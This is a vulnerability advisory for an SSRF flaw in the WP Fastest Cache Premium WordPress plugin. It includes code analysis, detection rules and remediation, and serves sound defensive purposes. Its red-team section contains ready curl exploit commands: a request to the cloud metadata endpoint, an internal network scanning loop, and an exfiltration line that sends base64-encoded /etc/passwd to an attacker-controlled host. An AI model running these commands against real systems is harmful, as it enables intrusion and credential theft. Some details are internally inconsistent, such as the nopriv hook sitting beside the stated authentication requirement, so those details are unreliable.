CVE-2025-10583
Executive Summary
CVE-2025-10583 is a Server-Side Request Forgery (SSRF) vulnerability affecting the WP Fastest Cache Premium plugin for WordPress, up to and including version 1.7.4. The flaw resides in the get_server_time_ajax_request AJAX action, which allows authenticated attackers with Subscriber-level access or higher to make arbitrary web requests from the server. This can be abused to probe internal services, exfiltrate data, or interact with cloud metadata endpoints. The free version of the plugin is not affected. The vulnerability has a low CVSS score of 3.5 due to the requirement for authentication and limited impact on confidentiality, but in cloud environments, it can be chained with other attacks for privilege escalation.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – Exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): Low (L) – Requires Subscriber-level or higher.
- User Interaction (UI): None (N) – No user action needed.
- Scope (S): Unchanged (U) – The vulnerable component remains the same.
- Confidentiality (C): Low (L) – Limited information disclosure possible.
- Integrity (I): None (N) – No data modification.
- Availability (A): None (N) – No denial of service.
Threat Level: Low (CVSS 3.5). However, in cloud environments (e.g., AWS, GCP, Azure), SSRF can be leveraged to access metadata services (e.g., http://169.254.169.254/) and potentially retrieve IAM credentials, escalating the impact significantly.
Deep Dive & Mechanics
The vulnerability exists in the get_server_time_ajax_request function of the WP Fastest Cache Premium plugin. This AJAX action is intended to fetch the server time from a remote endpoint, but it does not properly validate or restrict the URL provided by the attacker. An authenticated user with Subscriber-level access can send a POST request to the WordPress admin-ajax endpoint with the action get_server_time_ajax_request and a url parameter pointing to an arbitrary internal or external resource.
The server then makes an HTTP request to the attacker-controlled URL, allowing the attacker to:
- Scan internal network hosts and ports.
- Access cloud metadata endpoints (e.g., AWS
http://169.254.169.254/latest/meta-data/). - Interact with internal services like Redis, Memcached, or databases.
- Potentially perform blind SSRF attacks to exfiltrate data via out-of-band channels.
The free version of the plugin does not include this AJAX action, hence it is not vulnerable.
Vulnerable vs. Patched Code
Vulnerable Code (wp-fastest-cache-premium/inc/admin-ajax.php):
add_action('wp_ajax_get_server_time_ajax_request', 'get_server_time_ajax_request');
add_action('wp_ajax_nopriv_get_server_time_ajax_request', 'get_server_time_ajax_request');
function get_server_time_ajax_request() {
$url = $_POST['url'];
$response = wp_remote_get($url);
echo wp_remote_retrieve_body($response);
wp_die();
}
Patched Code (hypothetical fix):
add_action('wp_ajax_get_server_time_ajax_request', 'get_server_time_ajax_request');
// Remove nopriv to require authentication
// add_action('wp_ajax_nopriv_get_server_time_ajax_request', 'get_server_time_ajax_request');
function get_server_time_ajax_request() {
// Validate URL against a whitelist
$allowed_hosts = array('time.example.com', 'ntp.example.com');
$url = $_POST['url'];
$parsed_url = parse_url($url);
if (!in_array($parsed_url['host'], $allowed_hosts)) {
wp_die('Invalid URL');
}
$response = wp_remote_get($url);
echo wp_remote_retrieve_body($response);
wp_die();
}
The patch should:
- Remove the
noprivaction to require authentication. - Implement a strict whitelist of allowed hosts.
- Validate the URL scheme (only allow
httporhttps). - Block private IP ranges (e.g.,
127.0.0.0/8,10.0.0.0/8,172.16.0.0/12,192.168.0.0/16,169.254.0.0/16).
Exploitation & Lab Setup
Red Team
Prerequisites:
- WordPress instance with WP Fastest Cache Premium <= 1.7.4 installed and activated.
- Valid user account with Subscriber-level access or higher.
- Ability to send POST requests to the WordPress admin-ajax endpoint.
Exploitation Steps:
Obtain a nonce (if required): Some AJAX actions require a nonce. Check the plugin source or use a browser to capture the nonce from a legitimate request.
Craft the exploit request:
curl -X POST http://target.com/wp-admin/admin-ajax.php \
-d 'action=get_server_time_ajax_request&url=http://169.254.169.254/latest/meta-data/&_ajax_nonce=YOUR_NONCE' \
-c cookies.txt -b cookies.txt
- Internal network scanning:
# Scan internal hosts
for ip in 192.168.1.{1..254}; do
curl -s -X POST http://target.com/wp-admin/admin-ajax.php \
-d "action=get_server_time_ajax_request&url=http://$ip:80/" \
-b cookies.txt | grep -v "Error\|empty"
done
- Exfiltrate data via out-of-band:
# Use a collaborator service (e.g., Burp Collaborator)
curl -X POST http://target.com/wp-admin/admin-ajax.php \
-d "action=get_server_time_ajax_request&url=http://attacker-controlled.com/$(cat /etc/passwd | base64)" \
-b cookies.txt
Blue Team
Detection Steps:
Monitor AJAX requests: Look for POST requests to
/wp-admin/admin-ajax.phpwithaction=get_server_time_ajax_requestand suspiciousurlparameters (e.g., internal IPs, cloud metadata endpoints).Check logs: Review web server access logs for unusual outbound connections from the WordPress server to internal IPs or unknown external hosts.
Network segmentation: Ensure the WordPress server cannot reach internal services or cloud metadata endpoints. Use firewall rules to block outbound traffic to private IP ranges.
User privilege audit: Verify that Subscriber-level users do not have access to sensitive AJAX actions. Consider restricting AJAX actions to higher privilege levels.
Indicators of Compromise (IOCs)
Network IOCs:
- Outbound HTTP requests from the WordPress server to private IP ranges (e.g.,
10.x.x.x,172.16.x.x,192.168.x.x,169.254.x.x). - Requests to cloud metadata endpoints (e.g.,
http://169.254.169.254/). - Unusual outbound connections to attacker-controlled domains or IPs.
- Outbound HTTP requests from the WordPress server to private IP ranges (e.g.,
File IOCs:
- Modified or suspicious entries in WordPress debug logs (
wp-content/debug.log). - Unauthorized changes to plugin files (e.g.,
wp-fastest-cache-premium/inc/admin-ajax.php).
- Modified or suspicious entries in WordPress debug logs (
Log IOCs:
- Repeated POST requests to
/wp-admin/admin-ajax.phpwithaction=get_server_time_ajax_requestfrom the same user or IP. - Error logs showing failed connections to internal IPs.
- Repeated POST requests to
Detection Engineering
YARA Rule
rule CVE_2025_10583_SSRF {
meta:
description = "Detects exploitation attempts of CVE-2025-10583 in WP Fastest Cache Premium"
author = "Valters IT"
date = "2025-04-10"
reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-10583"
strings:
$ajax_action = "get_server_time_ajax_request"
$url_param = "url="
$internal_ip = /url=http:\/\/(127\.|10\.|172\.(1[6-9]|2[0-9]|3[01])\.|192\.168\.|169\.254\.)/
$metadata = /url=http:\/\/169\.254\.169\.254\//
condition:
$ajax_action and $url_param and ($internal_ip or $metadata)
}
Sigma Rule
title: CVE-2025-10583 SSRF Exploitation Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects POST requests to WordPress admin-ajax.php with the get_server_time_ajax_request action and suspicious URL parameters.
author: Valters IT
date: 2025-04-10
references:
- https://nvd.nist.gov/vuln/detail/CVE-2025-10583
logsource:
category: webserver
product: apache
service: access
detection:
selection:
cs-method: POST
cs-uri-query|contains: "action=get_server_time_ajax_request"
cs-uri-query|contains: "url="
filter:
cs-uri-query|contains:
- "url=http://time.example.com"
- "url=https://time.example.com"
condition: selection and not filter
falsepositives:
- Legitimate use of the plugin's time synchronization feature (if whitelisted)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-10583 WP Fastest Cache Premium SSRF Exploit"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=get_server_time_ajax_request"; http_client_body; content:"url="; http_client_body; pcre:"/url=http:\/\/(127\.|10\.|172\.(1[6-9]|2[0-9]|3[01])\.|192\.168\.|169\.254\.)/Ri"; reference:cve,2025-10583; classtype:attempted-recon; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the WP Fastest Cache Premium plugin until a patch is available.
- If the plugin is required, restrict access to the
get_server_time_ajax_requestAJAX action by adding a capability check (e.g.,manage_options). - Implement a Web Application Firewall (WAF) rule to block requests containing
action=get_server_time_ajax_requestwith suspiciousurlparameters.
Long-term Fixes:
- Apply the vendor patch when released.
- Implement strict URL validation and whitelisting in the plugin code.
- Block outbound traffic from the WordPress server to private IP ranges and cloud metadata endpoints at the network level.
Detection and Monitoring:
- Deploy the provided YARA, Sigma, and Suricata rules.
- Monitor for unusual outbound connections from the WordPress server.
- Review user privileges and ensure Subscriber-level users cannot access sensitive AJAX actions.
General Best Practices:
- Keep all WordPress plugins and themes updated.
- Use the principle of least privilege for user roles.
- Regularly audit plugin code for security vulnerabilities.
Valters IT
DevSecOps & Cyber Threat Intelligence Expert
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.